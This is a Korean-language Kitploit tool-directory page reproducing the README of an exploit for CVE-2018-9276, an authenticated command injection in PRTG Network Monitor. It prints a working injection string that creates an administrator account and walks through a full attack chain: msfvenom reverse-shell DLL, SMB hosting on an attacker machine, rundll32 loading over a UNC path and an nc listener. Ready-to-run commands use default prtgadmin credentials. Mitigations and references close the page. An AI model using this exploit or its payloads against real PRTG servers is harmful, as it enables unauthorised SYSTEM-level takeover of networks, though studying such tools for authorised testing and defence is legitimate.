Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only. | Kitploit
도구/GitHubGitHub/bardlaudian/cve-2018-9276
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 인증된 원격 코드 실행(RCE)

Python CVE Platform

⚠️ 면책 조항: 이 도구는 교육 목적 및 승인된 침투 테스트 전용입니다. 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 사용은 불법입니다.


목차

  • 개요
  • 취약점 세부 정보
  • 작동 원리
  • 요구 사항
  • 설치
  • 사용법
  • 예제
  • 완화 조치
  • 참고 자료

개요

PRTG Network Monitor는 Paessler AG에서 개발한 네트워크 모니터링 도구입니다. 18.2.39 이전 버전은 알림 기능을 통한 인증된 명령어 삽입 취약점에 영향을 받아, 유효한 자격 증명을 가진 공격자가 로컬 시스템(PRTG 설치의 기본 서비스 계정) 권한으로 원격 코드 실행(RCE) 을 달성할 수 있습니다.

이 취약점은 Josh Berry가 침투 테스트 중 발견하여 Paessler AG에 공개했으며, 2018년 4월 20일에 패치가 릴리스되었습니다. CVE-2018-9276로 할당되었습니다.


취약점 세부 정보


작동 원리

PRTG에는 관리자가 특정 이벤트 발생 시 스크립트를 실행할 수 있는 알림 시스템이 포함되어 있습니다. 임의 코드 실행을 방지하기 위해 PRTG는 실행 가능한 스크립트를 서버의 특정 디렉터리에 있는 스크립트로 제한합니다. 기본적으로 두 개의 데모 스크립트만 사용할 수 있습니다.

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

삽입 지점

PowerShell 데모 스크립트(OutFile.ps1)는 알림의 Parameter 필드 값을 어떤 검증도 없이 스크립트에 직접 전달합니다. 따라서 세미콜론 뒤에 임의의 PowerShell 명령어를 추가하여 삽입할 수 있습니다.

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

PRTG가 알림을 실행하면 삽입된 명령어가 로컬 시스템 권한으로 실행됩니다.

참고: 배치 스크립트(OutFile.bat)는 취약하지 않습니다. Paessler는 배치 파일에 전달하기 전에 입력을 검증하는 것으로 보입니다. 삽입은 .ps1 스크립트를 통해서만 가능합니다.

익스플로잇 흐름

익스플로잇은 다음 단계를 자동화합니다.

root@kitploit:~
1. 서버 버전 확인 → 대상이 취약한지 확인
2. 인증 → 유효한 세션 쿠키 획득
3. 파일 알림 스테이징 → 대상에 쓰기 가능한 출력 파일 초기화
4. 파일 알림 트리거 → /api/notificationtest.htm을 통해 실행
5. 리버스 셸 DLL 생성 → msfvenom (windows/shell_reverse_tcp)
6. DLL 호스팅 → 공격자 머신에서 SMB를 통해 제공
7. 명령어 알림 스테이징 → 출력 파일 뒤에 rundll32.exe <UNC_PATH>,0 명령어 삽입
8. 명령어 알림 트리거 → DLL 대상에서 실행
9. 리버스 셸 수신 → nc -nvlp <LPORT>

rundll32 + SMB를 사용하는 이유

PRTG는 알림으로 해당 설치 디렉터리에 있는 스크립트만 실행하도록 허용하므로, 임의 바이너리를 업로드하여 실행할 수 없습니다. 대신 다음과 같은 방법을 사용합니다.

  1. msfvenom을 사용하여 Windows 리버스 셸을 .dll 파일로 생성합니다.
  2. 해당 .dll을 공격자 머신의 SMB 공유에 호스팅합니다.
  3. PowerShell 알림 매개변수를 통해 rundll32.exe \\attacker\share\payload.dll,0 명령어를 삽입합니다.

rundll32.exe는 UNC 경로에서 DLL을 로드하여 실행할 수 있으므로, PRTG가 직접 실행할 수 있는 파일에 대한 제한을 우회합니다.


요구 사항

  • Python 3.8+
  • msfvenom (Metasploit Framework의 일부)
  • netcat (nc)
  • impacket — 내장 SMB 서버에만 필요 (선택 사항, --no-smb 참조)
root@kitploit:~
pip install impacket

이미 DLL을 호스팅할 방법(예: impacket-smbserver, Metasploit의 exploit/multi/handler 또는 다른 SMB 서버)이 있다면 --no-smb와 --shell-location을 사용하여 impacket을 생략할 수 있습니다.


설치

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # impacket만 설치

사용법

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

옵션:

  • -i, --host 대상 IP 또는 호스트명
  • -p, --port 대상 포트 (예: 80 또는 443)
  • --lhost 리버스 셸 콜백용 로컬 IP
  • --lport 리버스 셸 콜백용 로컬 포트
  • --user PRTG 사용자명 (기본값: prtgadmin)
  • --password PRTG 비밀번호 (기본값: prtgadmin)
  • --https HTTPS 사용 (자체 서명 인증서 허용)
  • --no-smb 내장 SMB 서버 건너뛰기 (페이로드가 이미 호스팅된 경우)
  • --shell-location DLL 페이로드의 UNC 경로 재정의
  • -v, --verbose 상세/디버그 출력 활성화

예제

기본 사용 (HTTP, 기본 자격 증명)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

HTTPS 대상, 사용자 정의 자격 증명

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

내장 SMB 서버 건너뛰기 (페이로드 외부 호스팅)

root@kitploit:~
# 먼저 페이로드를 직접 호스팅합니다:
impacket-smbserver share /tmp -smb2support

# 그런 다음 공유를 가리키며 익스플로잇을 실행합니다:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

완화 조치

  • PRTG 업데이트 — 버전 18.2.39 이상으로 업데이트하는 것이 유일한 완전한 해결책입니다.
  • 기본 자격 증명 변경 — 이 취약점은 인증이 필요합니다. 약하거나 기본 자격 증명(prtgadmin / prtgadmin)을 사용하면 악용 장벽이 크게 낮아집니다.
  • PRTG 웹 인터페이스에 대한 네트워크 액세스 제한 (방화벽 규칙, VPN 등).
  • PRTG 로그 모니터링 — 예상치 못한 알림 테스트 실행이 있는지 확인하십시오.

참고 자료

  • 최초 발견 — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Paessler AG 패치 히스토리
  • 원본 PoC by wildkindcc
도구 다운로드
필드값
CVECVE-2018-9276
영향받는 버전PRTG Network Monitor < 18.2.39
유형인증된 명령어 삽입
필요 권한유효한 PRTG 자격 증명 필요
영향로컬 시스템 권한으로 원격 코드 실행
CVSS 점수7.2 (높음)
패치PRTG 18.2.39 (2018년 4월 20일 릴리스)